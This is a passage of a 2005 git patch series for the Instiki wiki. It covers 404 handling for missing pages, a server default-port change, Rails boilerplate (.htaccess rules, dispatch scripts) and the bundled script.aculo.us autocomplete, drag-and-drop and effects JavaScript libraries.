ChunkManager @chunks.select { |chunk| chunk.kind_of?(chunk_type) and chunk.rendered? } end - # for testing and WikiContentStub; we need a page_id even if we have no page - def page_id - 0 - end - end # A simplified version of WikiContent. Useful to avoid recursion problems in # WikiContent.new class WikiContentStub < String + attr_reader :options include ChunkManager + def initialize(content, options) super(content) @options = options @@ -167,7 +164,7 @@ class WikiContent < String @options[:engine].apply_to(copy) copy.inside_chunks(HIDE_CHUNKS) do |id| - @chunks_by_id[id].revert + @chunks_by_id[id.to_i].revert end end @@ -183,14 +180,16 @@ class WikiContent < String pre_render! @options[:engine].apply_to(self) # unmask in one go. $~[1] is the chunk id - gsub!(MASK_RE[ACTIVE_CHUNKS]){ - if chunk = @chunks_by_id[$~[1]] - chunk.unmask_text + gsub!(MASK_RE[ACTIVE_CHUNKS]) do + chunk = @chunks_by_id[$~[1].to_i] + if chunk.nil? # if we match a chunkmask that existed in the original content string # just keep it as it is - else $~[0] - end} + else + chunk.unmask_text + end + end self end @@ -198,9 +197,5 @@ class WikiContent < String @revision.page.name end - def page_id - @revision.page.id - end - end From a91bd946b334f9b1ca3f092422fa9dbc6ae512ea Mon Sep 17 00:00:00 2001 From: Rick Okin Date: Wed, 10 Aug 2005 05:59:42 +0000 Subject: [PATCH 338/529] Added db/*.db to svn:ignore From 503aa99c636e695e9a226b9c42dcb47abeb12650 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Wed, 10 Aug 2005 06:16:15 +0000 Subject: [PATCH 339/529] Set default port to 2500 --- script/server | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/script/server b/script/server index 487d1fd9..c6bdbb6f 100755 --- a/script/server +++ b/script/server @@ -4,9 +4,9 @@ require 'webrick' require 'optparse' OPTIONS = { - :port => 3000, + :port => 2500, :ip => "0.0.0.0", - :environment => "development", + :environment => "production", :server_root => File.expand_path(File.dirname(__FILE__) + "/../public/"), :server_type => WEBrick::SimpleServer } @@ -18,8 +18,8 @@ ARGV.options do |opts| opts.separator "" opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", - "Default: 3000") { |OPTIONS[:port]| } + "Runs Instiki on the specified port.", + "Default: 2500") { |OPTIONS[:port]| } opts.on("-b", "--binding=ip", String, "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |OPTIONS[:ip]| } @@ -44,6 +44,6 @@ require 'webrick_server' OPTIONS['working_directory'] = File.expand_path(RAILS_ROOT) -puts "=> Rails application started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" -puts "=> Ctrl-C to shutdown server; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer +puts "=> Instiki started on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}" +puts "=> Ctrl-C to shutdown; call with --help for options" if OPTIONS[:server_type] == WEBrick::SimpleServer DispatchServlet.dispatch(OPTIONS) From fe868135c4c3a21bc1f7ac632579538c2e0bd415 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 11 Aug 2005 05:30:20 +0000 Subject: [PATCH 340/529] Check existance of a revision and respond with 404 if it doesn't exist. --- app/controllers/wiki_controller.rb | 3 +++ test/functional/wiki_controller_test.rb | 5 +++++ 2 files changed, 8 insertions(+) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 8fcf3060..3cf4b1c6 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -298,6 +298,9 @@ class WikiController < ApplicationController def get_page_and_revision @revision = @page.revisions[@params['rev'].to_i] + if @revision.nil? + render_text 'Page name is not specified', '404 Not Found' + end end def parse_category diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index bc79a8bf..4ae41326 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -371,6 +371,11 @@ class WikiControllerTest < Test::Unit::TestCase assert_equal @home.revisions[0], r.template_objects['revision'] end + def test_non_existant_revision_of_existing_page + r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '5' + assert_response :missing + end + def test_rollback # rollback shows a form where a revision can be edited. From 0f350160698a1a8ba6d1bac5ea761d77706f4204 Mon Sep 17 00:00:00 2001 From: Alexey Verkhovsky Date: Thu, 11 Aug 2005 05:36:11 +0000 Subject: [PATCH 341/529] Also check if the specified page is there, and return 404 if not --- app/controllers/wiki_controller.rb | 8 +++++--- test/functional/wiki_controller_test.rb | 5 +++++ 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/app/controllers/wiki_controller.rb b/app/controllers/wiki_controller.rb index 3cf4b1c6..92f602e9 100644 --- a/app/controllers/wiki_controller.rb +++ b/app/controllers/wiki_controller.rb @@ -297,9 +297,11 @@ class WikiController < ApplicationController end def get_page_and_revision - @revision = @page.revisions[@params['rev'].to_i] - if @revision.nil? - render_text 'Page name is not specified', '404 Not Found' + revision_index = (@params['rev'] || 0).to_i + if @page.nil? or @page.revisions[revision_index].nil? + render_text 'Page not found', '404 Not Found' + else + @revision = @page.revisions[revision_index] end end diff --git a/test/functional/wiki_controller_test.rb b/test/functional/wiki_controller_test.rb index 4ae41326..1ec11afe 100755 --- a/test/functional/wiki_controller_test.rb +++ b/test/functional/wiki_controller_test.rb @@ -375,6 +375,11 @@ class WikiControllerTest < Test::Unit::TestCase r = process 'revision', 'web' => 'wiki1', 'id' => 'HomePage', 'rev' => '5' assert_response :missing end + + def test_revision_of_nonexistant_page + r = process 'revision', 'web' => 'wiki1', 'id' => 'NonExistantPage', 'rev' => '0' + assert_response :missing + end def test_rollback From 50343b79e8fc57a5f40b89da0e11f2273bdd4b7c Mon Sep 17 00:00:00 2001 From: Ben Bleything Date: Thu, 11 Aug 2005 05:36:35 +0000 Subject: [PATCH 342/529] Finish Rails-ifying the tree. Adds missing files and directories and brings a few miscellaneous files up to date. --- public/.htaccess | 11 +- public/404.html | 2 + public/500.html | 2 + public/dispatch.cgi | 10 + public/dispatch.fcgi | 24 + public/favicon.ico | Bin 4710 -> 0 bytes public/javascripts/controls.js | 446 ++++++++++ public/javascripts/dragdrop.js | 537 ++++++++++++ public/javascripts/effects.js | 612 ++++++++++++++ public/javascripts/prototype.js | 1374 +++++++++++++++++++++++-------- script/benchmarker | 19 + script/destroy | 7 + script/generate | 7 + script/profiler | 34 + script/runner | 29 + 15 files changed, 2776 insertions(+), 338 deletions(-) create mode 100755 public/dispatch.cgi create mode 100755 public/dispatch.fcgi create mode 100644 public/javascripts/controls.js create mode 100644 public/javascripts/dragdrop.js create mode 100644 public/javascripts/effects.js create mode 100755 script/benchmarker create mode 100755 script/destroy create mode 100755 script/generate create mode 100755 script/profiler create mode 100755 script/runner diff --git a/public/.htaccess b/public/.htaccess index bf245115..7eb56e8b 100644 --- a/public/.htaccess +++ b/public/.htaccess @@ -3,6 +3,13 @@ AddHandler fastcgi-script .fcgi AddHandler cgi-script .cgi Options +FollowSymLinks +ExecCGI +# If you don't want Rails to look in certain directories, +# use the following rewrite rules so that Apache won't rewrite certain requests +# +# Example: +# RewriteCond %{REQUEST_URI} ^/notrails.* +# RewriteRule .* - [L] + # Redirect all requests not available on the filesystem to Rails # By default the cgi dispatcher is used which is very slow # @@ -14,7 +21,7 @@ RewriteEngine On RewriteRule ^$ index.html [QSA] RewriteRule ^([^.]+)$ $1.html [QSA] RewriteCond %{REQUEST_FILENAME} !-f -RewriteRule ^(.*)$ dispatch.cgi [QSA,L] +RewriteRule ^(.*)$ dispatch.fcgi [QSA,L] # In case Rails experiences terminal errors # Instead of displaying this message you can supply a file here which will be rendered instead @@ -22,4 +29,4 @@ RewriteRule ^(.*)$ dispatch.cgi [QSA,L] # Example: # ErrorDocument 500 /500.html -ErrorDocument 500 "

      Application error

      Rails application failed to start properly" \ No newline at end of file +ErrorDocument 500 "

      Application error

      Rails application failed to start properly" diff --git a/public/404.html b/public/404.html index edbc89bf..0e184561 100644 --- a/public/404.html +++ b/public/404.html @@ -1,3 +1,5 @@ +

      File not found

      diff --git a/public/500.html b/public/500.html index ee0c919c..a1001a00 100644 --- a/public/500.html +++ b/public/500.html @@ -1,3 +1,5 @@ +

      Application error (Apache)

      diff --git a/public/dispatch.cgi b/public/dispatch.cgi new file mode 100755 index 00000000..3848806d --- /dev/null +++ b/public/dispatch.cgi @@ -0,0 +1,10 @@ +#!/usr/bin/ruby1.8 + +require File.dirname(__FILE__) + "/../config/environment" unless defined?(RAILS_ROOT) + +# If you're using RubyGems and mod_ruby, this require should be changed to an absolute path one, like: +# "/usr/local/lib/ruby/gems/1.8/gems/rails-0.8.0/lib/dispatcher" -- otherwise performance is severely impaired +require "dispatcher" + +ADDITIONAL_LOAD_PATHS.reverse.each { |dir| $:.unshift(dir) if File.directory?(dir) } if defined?(Apache::RubyRun) +Dispatcher.dispatch \ No newline at end of file diff --git a/public/dispatch.fcgi b/public/dispatch.fcgi new file mode 100755 index 00000000..3169ba26 --- /dev/null +++ b/public/dispatch.fcgi @@ -0,0 +1,24 @@ +#!/usr/bin/ruby1.8 +# +# You may specify the path to the FastCGI crash log (a log of unhandled +# exceptions which forced the FastCGI instance to exit, great for debugging) +# and the number of requests to process before running garbage collection. +# +# By default, the FastCGI crash log is RAILS_ROOT/log/fastcgi.crash.log +# and the GC period is nil (turned off). A reasonable number of requests +# could range from 10-100 depending on the memory footprint of your app. +# +# Example: +# # Default log path, normal GC behavior. +# RailsFCGIHandler.process! +# +# # Default log path, 50 requests between GC. +# RailsFCGIHandler.process! nil, 50 +# +# # Custom log path, normal GC behavior. +# RailsFCGIHandler.process! '/var/log/myapp_fcgi_crash.log' +# +require File.dirname(__FILE__) + "/../config/environment" +require 'fcgi_handler' + +RailsFCGIHandler.process! diff --git a/public/favicon.ico b/public/favicon.ico index e61366585aa57740c9ca3d84a74e84be8f8bf3cb..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 100644 GIT binary patch literal 0 HcmV?d00001 literal 4710 zcmeHKA#WQo6n^LA*6Y%xIW%ct3#_=+D^TvygWaDpP%h_&(WeA?s+e{maV+0KG43`0fUjz~<)b}P%QRk>^R5$)m=b3K#b$IX2Cu)$vmaBr|6(lX^ULgXJdsDk?{xCvoOYjoqUpt44F}&;fA5RR z^PB^wH=uSNwzFbBeoj31bwxS@IYCx!Om|;Qy-A->v^!tubMYKHoW+&k^r5NuWaF&! z^_Ad^x8p)P3pgD2w#7a>TjVsqv}|+>iXUs(s#$Vb{*kQf|ul+sv2R%}}N&o-= diff --git a/public/javascripts/controls.js b/public/javascripts/controls.js new file mode 100644 index 00000000..cece0a91 --- /dev/null +++ b/public/javascripts/controls.js @@ -0,0 +1,446 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// (c) 2005 Ivan Krstic (http://blogs.law.harvard.edu/ivan) +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Element.collectTextNodesIgnoreClass = function(element, ignoreclass) { + var children = $(element).childNodes; + var text = ""; + var classtest = new RegExp("^([^ ]+ )*" + ignoreclass+ "( [^ ]+)*$","i"); + + for (var i = 0; i < children.length; i++) { + if(children[i].nodeType==3) { + text+=children[i].nodeValue; + } else { + if((!children[i].className.match(classtest)) && children[i].hasChildNodes()) + text += Element.collectTextNodesIgnoreClass(children[i], ignoreclass); + } + } + + return text; +} + +// Autocompleter.Base handles all the autocompletion functionality +// that's independent of the data source for autocompletion. This +// includes drawing the autocompletion menu, observing keyboard +// and mouse events, and similar. +// +// Specific autocompleters need to provide, at the very least, +// a getUpdatedChoices function that will be invoked every time +// the text inside the monitored textbox changes. This method +// should get the text for which to provide autocompletion by +// invoking this.getEntry(), NOT by directly accessing +// this.element.value. This is to allow incremental tokenized +// autocompletion. Specific auto-completion logic (AJAX, etc) +// belongs in getUpdatedChoices. +// +// Tokenized incremental autocompletion is enabled automatically +// when an autocompleter is instantiated with the 'tokens' option +// in the options parameter, e.g.: +// new Ajax.Autocompleter('id','upd', '/url/', { tokens: ',' }); +// will incrementally autocomplete with a comma as the token. +// Additionally, ',' in the above example can be replaced with +// a token array, e.g. { tokens: new Array (',', '\n') } which +// enables autocompletion on multiple tokens. This is most +// useful when one of the tokens is \n (a newline), as it +// allows smart autocompletion after linebreaks. + +var Autocompleter = {} +Autocompleter.Base = function() {}; +Autocompleter.Base.prototype = { + base_initialize: function(element, update, options) { + this.element = $(element); + this.update = $(update); + this.has_focus = false; + this.changed = false; + this.active = false; + this.index = 0; + this.entry_count = 0; + + if (this.setOptions) + this.setOptions(options); + else + this.options = {} + + this.options.tokens = this.options.tokens || new Array(); + this.options.frequency = this.options.frequency || 0.4; + this.options.min_chars = this.options.min_chars || 1; + this.options.onShow = this.options.onShow || + function(element, update){ + if(!update.style.position || update.style.position=='absolute') { + update.style.position = 'absolute'; + var offsets = Position.cumulativeOffset(element); + update.style.left = offsets[0] + 'px'; + update.style.top = (offsets[1] + element.offsetHeight) + 'px'; + update.style.width = element.offsetWidth + 'px'; + } + new Effect.Appear(update,{duration:0.15}); + }; + this.options.onHide = this.options.onHide || + function(element, update){ new Effect.Fade(update,{duration:0.15}) }; + + if(this.options.indicator) + this.indicator = $(this.options.indicator); + + if (typeof(this.options.tokens) == 'string') + this.options.tokens = new Array(this.options.tokens); + + this.observer = null; + + Element.hide(this.update); + + Event.observe(this.element, "blur", this.onBlur.bindAsEventListener(this)); + Event.observe(this.element, "keypress", this.onKeyPress.bindAsEventListener(this)); + }, + + show: function() { + if(this.update.style.display=='none') this.options.onShow(this.element, this.update); + if(!this.iefix && (navigator.appVersion.indexOf('MSIE')>0) && this.update.style.position=='absolute') { + new Insertion.After(this.update, + ''); + this.iefix = $(this.update.id+'_iefix'); + } + if(this.iefix) { + Position.clone(this.update, this.iefix); + this.iefix.style.zIndex = 1; + this.update.style.zIndex = 2; + Element.show(this.iefix); + } + }, + + hide: function() { + if(this.update.style.display=='') this.options.onHide(this.element, this.update); + if(this.iefix) Element.hide(this.iefix); + }, + + startIndicator: function() { + if(this.indicator) Element.show(this.indicator); + }, + + stopIndicator: function() { + if(this.indicator) Element.hide(this.indicator); + }, + + onKeyPress: function(event) { + if(this.active) + switch(event.keyCode) { + case Event.KEY_TAB: + case Event.KEY_RETURN: + this.select_entry(); + Event.stop(event); + case Event.KEY_ESC: + this.hide(); + this.active = false; + return; + case Event.KEY_LEFT: + case Event.KEY_RIGHT: + return; + case Event.KEY_UP: + this.mark_previous(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + case Event.KEY_DOWN: + this.mark_next(); + this.render(); + if(navigator.appVersion.indexOf('AppleWebKit')>0) Event.stop(event); + return; + } + else + if(event.keyCode==Event.KEY_TAB || event.keyCode==Event.KEY_RETURN) + return; + + this.changed = true; + this.has_focus = true; + + if(this.observer) clearTimeout(this.observer); + this.observer = + setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); + }, + + onHover: function(event) { + var element = Event.findElement(event, 'LI'); + if(this.index != element.autocompleteIndex) + { + this.index = element.autocompleteIndex; + this.render(); + } + Event.stop(event); + }, + + onClick: function(event) { + var element = Event.findElement(event, 'LI'); + this.index = element.autocompleteIndex; + this.select_entry(); + Event.stop(event); + }, + + onBlur: function(event) { + // needed to make click events working + setTimeout(this.hide.bind(this), 250); + this.has_focus = false; + this.active = false; + }, + + render: function() { + if(this.entry_count > 0) { + for (var i = 0; i < this.entry_count; i++) + this.index==i ? + Element.addClassName(this.get_entry(i),"selected") : + Element.removeClassName(this.get_entry(i),"selected"); + + if(this.has_focus) { + if(this.get_current_entry().scrollIntoView) + this.get_current_entry().scrollIntoView(false); + + this.show(); + this.active = true; + } + } else this.hide(); + }, + + mark_previous: function() { + if(this.index > 0) this.index-- + else this.index = this.entry_count-1; + }, + + mark_next: function() { + if(this.index < this.entry_count-1) this.index++ + else this.index = 0; + }, + + get_entry: function(index) { + return this.update.firstChild.childNodes[index]; + }, + + get_current_entry: function() { + return this.get_entry(this.index); + }, + + select_entry: function() { + this.active = false; + value = Element.collectTextNodesIgnoreClass(this.get_current_entry(), 'informal').unescapeHTML(); + this.updateElement(value); + this.element.focus(); + }, + + updateElement: function(value) { + var last_token_pos = this.findLastToken(); + if (last_token_pos != -1) { + var new_value = this.element.value.substr(0, last_token_pos + 1); + var whitespace = this.element.value.substr(last_token_pos + 1).match(/^\s+/); + if (whitespace) + new_value += whitespace[0]; + this.element.value = new_value + value; + } else { + this.element.value = value; + } + }, + + updateChoices: function(choices) { + if(!this.changed && this.has_focus) { + this.update.innerHTML = choices; + Element.cleanWhitespace(this.update); + Element.cleanWhitespace(this.update.firstChild); + + if(this.update.firstChild && this.update.firstChild.childNodes) { + this.entry_count = + this.update.firstChild.childNodes.length; + for (var i = 0; i < this.entry_count; i++) { + entry = this.get_entry(i); + entry.autocompleteIndex = i; + this.addObservers(entry); + } + } else { + this.entry_count = 0; + } + + this.stopIndicator(); + + this.index = 0; + this.render(); + } + }, + + addObservers: function(element) { + Event.observe(element, "mouseover", this.onHover.bindAsEventListener(this)); + Event.observe(element, "click", this.onClick.bindAsEventListener(this)); + }, + + onObserverEvent: function() { + this.changed = false; + if(this.getEntry().length>=this.options.min_chars) { + this.startIndicator(); + this.getUpdatedChoices(); + } else { + this.active = false; + this.hide(); + } + }, + + getEntry: function() { + var token_pos = this.findLastToken(); + if (token_pos != -1) + var ret = this.element.value.substr(token_pos + 1).replace(/^\s+/,'').replace(/\s+$/,''); + else + var ret = this.element.value; + + return /\n/.test(ret) ? '' : ret; + }, + + findLastToken: function() { + var last_token_pos = -1; + + for (var i=0; i last_token_pos) + last_token_pos = this_token_pos; + } + return last_token_pos; + } +} + +Ajax.Autocompleter = Class.create(); +Ajax.Autocompleter.prototype = Object.extend(new Autocompleter.Base(), +Object.extend(new Ajax.Base(), { + initialize: function(element, update, url, options) { + this.base_initialize(element, update, options); + this.options.asynchronous = true; + this.options.onComplete = this.onComplete.bind(this) + this.options.method = 'post'; + this.options.defaultParams = this.options.parameters || null; + this.url = url; + }, + + getUpdatedChoices: function() { + entry = encodeURIComponent(this.element.name) + '=' + + encodeURIComponent(this.getEntry()); + + this.options.parameters = this.options.callback ? + this.options.callback(this.element, entry) : entry; + + if(this.options.defaultParams) + this.options.parameters += '&' + this.options.defaultParams; + + new Ajax.Request(this.url, this.options); + }, + + onComplete: function(request) { + this.updateChoices(request.responseText); + } + +})); + +// The local array autocompleter. Used when you'd prefer to +// inject an array of autocompletion options into the page, rather +// than sending out Ajax queries, which can be quite slow sometimes. +// +// The constructor takes four parameters. The first two are, as usual, +// the id of the monitored textbox, and id of the autocompletion menu. +// The third is the array you want to autocomplete from, and the fourth +// is the options block. +// +// Extra local autocompletion options: +// - choices - How many autocompletion choices to offer +// +// - partial_search - If false, the autocompleter will match entered +// text only at the beginning of strings in the +// autocomplete array. Defaults to true, which will +// match text at the beginning of any *word* in the +// strings in the autocomplete array. If you want to +// search anywhere in the string, additionally set +// the option full_search to true (default: off). +// +// - full_search - Search anywhere in autocomplete array strings. +// +// - partial_chars - How many characters to enter before triggering +// a partial match (unlike min_chars, which defines +// how many characters are required to do any match +// at all). Defaults to 2. +// +// - ignore_case - Whether to ignore case when autocompleting. +// Defaults to true. +// +// It's possible to pass in a custom function as the 'selector' +// option, if you prefer to write your own autocompletion logic. +// In that case, the other options above will not apply unless +// you support them. + +Autocompleter.Local = Class.create(); +Autocompleter.Local.prototype = Object.extend(new Autocompleter.Base(), { + initialize: function(element, update, array, options) { + this.base_initialize(element, update, options); + this.options.array = array; + }, + + getUpdatedChoices: function() { + this.updateChoices(this.options.selector(this)); + }, + + setOptions: function(options) { + this.options = Object.extend({ + choices: 10, + partial_search: true, + partial_chars: 2, + ignore_case: true, + full_search: false, + selector: function(instance) { + var ret = new Array(); // Beginning matches + var partial = new Array(); // Inside matches + var entry = instance.getEntry(); + var count = 0; + + for (var i = 0; i < instance.options.array.length && + ret.length < instance.options.choices ; i++) { + var elem = instance.options.array[i]; + var found_pos = instance.options.ignore_case ? + elem.toLowerCase().indexOf(entry.toLowerCase()) : + elem.indexOf(entry); + + while (found_pos != -1) { + if (found_pos == 0 && elem.length != entry.length) { + ret.push("
    3. " + elem.substr(0, entry.length) + "" + + elem.substr(entry.length) + "
    4. "); + break; + } else if (entry.length >= instance.options.partial_chars && + instance.options.partial_search && found_pos != -1) { + if (instance.options.full_search || /\s/.test(elem.substr(found_pos-1,1))) { + partial.push("
    5. " + elem.substr(0, found_pos) + "" + + elem.substr(found_pos, entry.length) + "" + elem.substr( + found_pos + entry.length) + "
    6. "); + break; + } + } + + found_pos = instance.options.ignore_case ? + elem.toLowerCase().indexOf(entry.toLowerCase(), found_pos + 1) : + elem.indexOf(entry, found_pos + 1); + + } + } + if (partial.length) + ret = ret.concat(partial.slice(0, instance.options.choices - ret.length)) + return "
        " + ret.join('') + "
      "; + } + }, options || {}); + } +}); diff --git a/public/javascripts/dragdrop.js b/public/javascripts/dragdrop.js new file mode 100644 index 00000000..c0fd1d1e --- /dev/null +++ b/public/javascripts/dragdrop.js @@ -0,0 +1,537 @@ +// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us) +// +// Element.Class part Copyright (c) 2005 by Rick Olson +// +// Permission is hereby granted, free of charge, to any person obtaining +// a copy of this software and associated documentation files (the +// "Software"), to deal in the Software without restriction, including +// without limitation the rights to use, copy, modify, merge, publish, +// distribute, sublicense, and/or sell copies of the Software, and to +// permit persons to whom the Software is furnished to do so, subject to +// the following conditions: +// +// The above copyright notice and this permission notice shall be +// included in all copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +Element.Class = { + // Element.toggleClass(element, className) toggles the class being on/off + // Element.toggleClass(element, className1, className2) toggles between both classes, + // defaulting to className1 if neither exist + toggle: function(element, className) { + if(Element.Class.has(element, className)) { + Element.Class.remove(element, className); + if(arguments.length == 3) Element.Class.add(element, arguments[2]); + } else { + Element.Class.add(element, className); + if(arguments.length == 3) Element.Class.remove(element, arguments[2]); + } + }, + + // gets space-delimited classnames of an element as an array + get: function(element) { + element = $(element); + return element.className.split(' '); + }, + + // functions adapted from original functions by Gavin Kistner + remove: function(element) { + element = $(element); + var regEx; + for(var i = 1; i < arguments.length; i++) { + regEx = new RegExp("^" + arguments[i] + "\\b\\s*|\\s*\\b" + arguments[i] + "\\b", 'g'); + element.className = element.className.replace(regEx, '') + } + }, + + add: function(element) { + element = $(element); + for(var i = 1; i < arguments.length; i++) { + Element.Class.remove(element, arguments[i]); + element.className += (element.className.length > 0 ? ' ' : '') + arguments[i]; + } + }, + + // returns true if all given classes exist in said element + has: function(element) { + element = $(element); + if(!element || !element.className) return false; + var regEx; + for(var i = 1; i < arguments.length; i++) { + regEx = new RegExp("\\b" + arguments[i] + "\\b"); + if(!regEx.test(element.className)) return false; + } + return true; + }, + + // expects arrays of strings and/or strings as optional paramters + // Element.Class.has_any(element, ['classA','classB','classC'], 'classD') + has_any: function(element) { + element = $(element); + if(!element || !element.className) return false; + var regEx; + for(var i = 1; i < arguments.length; i++) { + if((typeof arguments[i] == 'object') && + (arguments[i].constructor == Array)) { + for(var j = 0; j < arguments[i].length; j++) { + regEx = new RegExp("\\b" + arguments[i][j] + "\\b"); + if(regEx.test(element.className)) return true; + } + } else { + regEx = new RegExp("\\b" + arguments[i] + "\\b"); + if(regEx.test(element.className)) return true; + } + } + return false; + }, + + childrenWith: function(element, className) { + var children = $(element).getElementsByTagName('*'); + var elements = new Array(); + + for (var i = 0; i < children.length; i++) { + if (Element.Class.has(children[i], className)) { + elements.push(children[i]); + break; + } + } + + return elements; + } +} + +/*--------------------------------------------------------------------------*/ + +var Droppables = { + drops: false, + + remove: function(element) { + for(var i = 0; i < this.drops.length; i++) + if(this.drops[i].element == element) + this.drops.splice(i,1); + }, + + add: function(element) { + var element = $(element); + var options = Object.extend({ + greedy: true, + hoverclass: null + }, arguments[1] || {}); + + // cache containers + if(options.containment) { + options._containers = new Array(); + var containment = options.containment; + if((typeof containment == 'object') && + (containment.constructor == Array)) { + for(var i=0; i0) window.scrollBy(0,0); + + Event.stop(event); + } + } +} + +/*--------------------------------------------------------------------------*/ + +SortableObserver = Class.create(); +SortableObserver.prototype = { + initialize: function(element, observer) { + this.element = $(element); + this.observer = observer; + this.lastValue = Sortable.serialize(this.element); + }, + onStart: function() { + this.lastValue = Sortable.serialize(this.element); + }, + onEnd: function() { + if(this.lastValue != Sortable.serialize(this.element)) + this.observer(this.element) + } +} + +Sortable = { + sortables: new Array(), + options: function(element){ + var element = $(element); + for(var i=0;i0.5) { + if(dropon.previousSibling != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, dropon); + if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) + oldParentNode.sortable.onChange(element); + if(dropon.parentNode.sortable) + dropon.parentNode.sortable.onChange(element); + } + } else { + var nextElement = dropon.nextSibling || null; + if(nextElement != element) { + var oldParentNode = element.parentNode; + element.style.visibility = "hidden"; // fix gecko rendering + dropon.parentNode.insertBefore(element, nextElement); + if(dropon.parentNode!=oldParentNode && oldParentNode.sortable) + oldParentNode.sortable.onChange(element); + if(dropon.parentNode.sortable) + dropon.parentNode.sortable.onChange(element); + } + } + } + } + + // fix for gecko engine + Element.cleanWhitespace(element); + + options.draggables = []; + options.droppables = []; + + // make it so + var elements = element.childNodes; + for (var i = 0; i < elements.length; i++) + if(elements[i].tagName && elements[i].tagName==options.tag.toUpperCase() && + (!options.only || (Element.Class.has(elements[i], options.only)))) { + + // handles are per-draggable + var handle = options.handle ? + Element.Class.childrenWith(elements[i], options.handle)[0] : elements[i]; + + options.draggables.push(new Draggable(elements[i], Object.extend(options_for_draggable, { handle: handle }))); + + Droppables.add(elements[i], options_for_droppable); + options.droppables.push(elements[i]); + + } + + // keep reference + this.sortables.push(options); + + // for onupdate + Draggables.addObserver(new SortableObserver(element, options.onUpdate)); + + }, + serialize: function(element) { + var element = $(element); + var sortableOptions = this.options(element); + var options = Object.extend({ + tag: sortableOptions.tag, + only: sortableOptions.only, + name: element.id + }, arguments[1] || {}); + + var items = $(element).childNodes; + var queryComponents = new Array(); + + for(var i=0; i= this.finishOn) { + this.render(this.options.to); + if(this.finish) this.finish(); + if(this.options.afterFinish) this.options.afterFinish(this); + return; + } + var pos = (timePos - this.startOn) / (this.finishOn - this.startOn); + var frame = Math.round(pos * this.options.fps * this.options.duration); + if(frame > this.currentFrame) { + this.render(pos); + this.currentFrame = frame; + } + this.timeout = setTimeout(this.loop.bind(this), 10); + }, + render: function(pos) { + if(this.options.transition) pos = this.options.transition(pos); + pos *= (this.options.to-this.options.from); + pos += this.options.from; + if(this.options.beforeUpdate) this.options.beforeUpdate(this); + if(this.update) this.update(pos); + if(this.options.afterUpdate) this.options.afterUpdate(this); + }, + cancel: function() { + if(this.timeout) clearTimeout(this.timeout); + } +} + +Effect.Parallel = Class.create(); +Object.extend(Object.extend(Effect.Parallel.prototype, Effect.Base.prototype), { + initialize: function(effects) { + this.effects = effects || []; + this.start(arguments[1]); + }, + update: function(position) { + for (var i = 0; i < this.effects.length; i++) + this.effects[i].render(position); + }, + finish: function(position) { + for (var i = 0; i < this.effects.length; i++) + if(this.effects[i].finish) this.effects[i].finish(position); + } +}); + +// Internet Explorer caveat: works only on elements the have +// a 'layout', meaning having a given width or height. +// There is no way to safely set this automatically. +Effect.Opacity = Class.create(); +Object.extend(Object.extend(Effect.Opacity.prototype, Effect.Base.prototype), { + initialize: function(element) { + this.element = $(element); + options = Object.extend({ + from: 0.0, + to: 1.0 + }, arguments[1] || {}); + this.start(options); + }, + update: function(position) { + this.setOpacity(position); + }, + setOpacity: function(opacity) { + opacity = (opacity == 1) ? 0.99999 : opacity; + this.element.style.opacity = opacity; + this.element.style.filter = "alpha(opacity:"+opacity*100+")"; + } +}); + +Effect.MoveBy = Class.create(); +Object.extend(Object.extend(Effect.MoveBy.prototype, Effect.Base.prototype), { + initialize: function(element, toTop, toLeft) { + this.element = $(element); + this.originalTop = parseFloat(this.element.style.top || '0'); + this.originalLeft = parseFloat(this.element.style.left || '0'); + this.toTop = toTop; 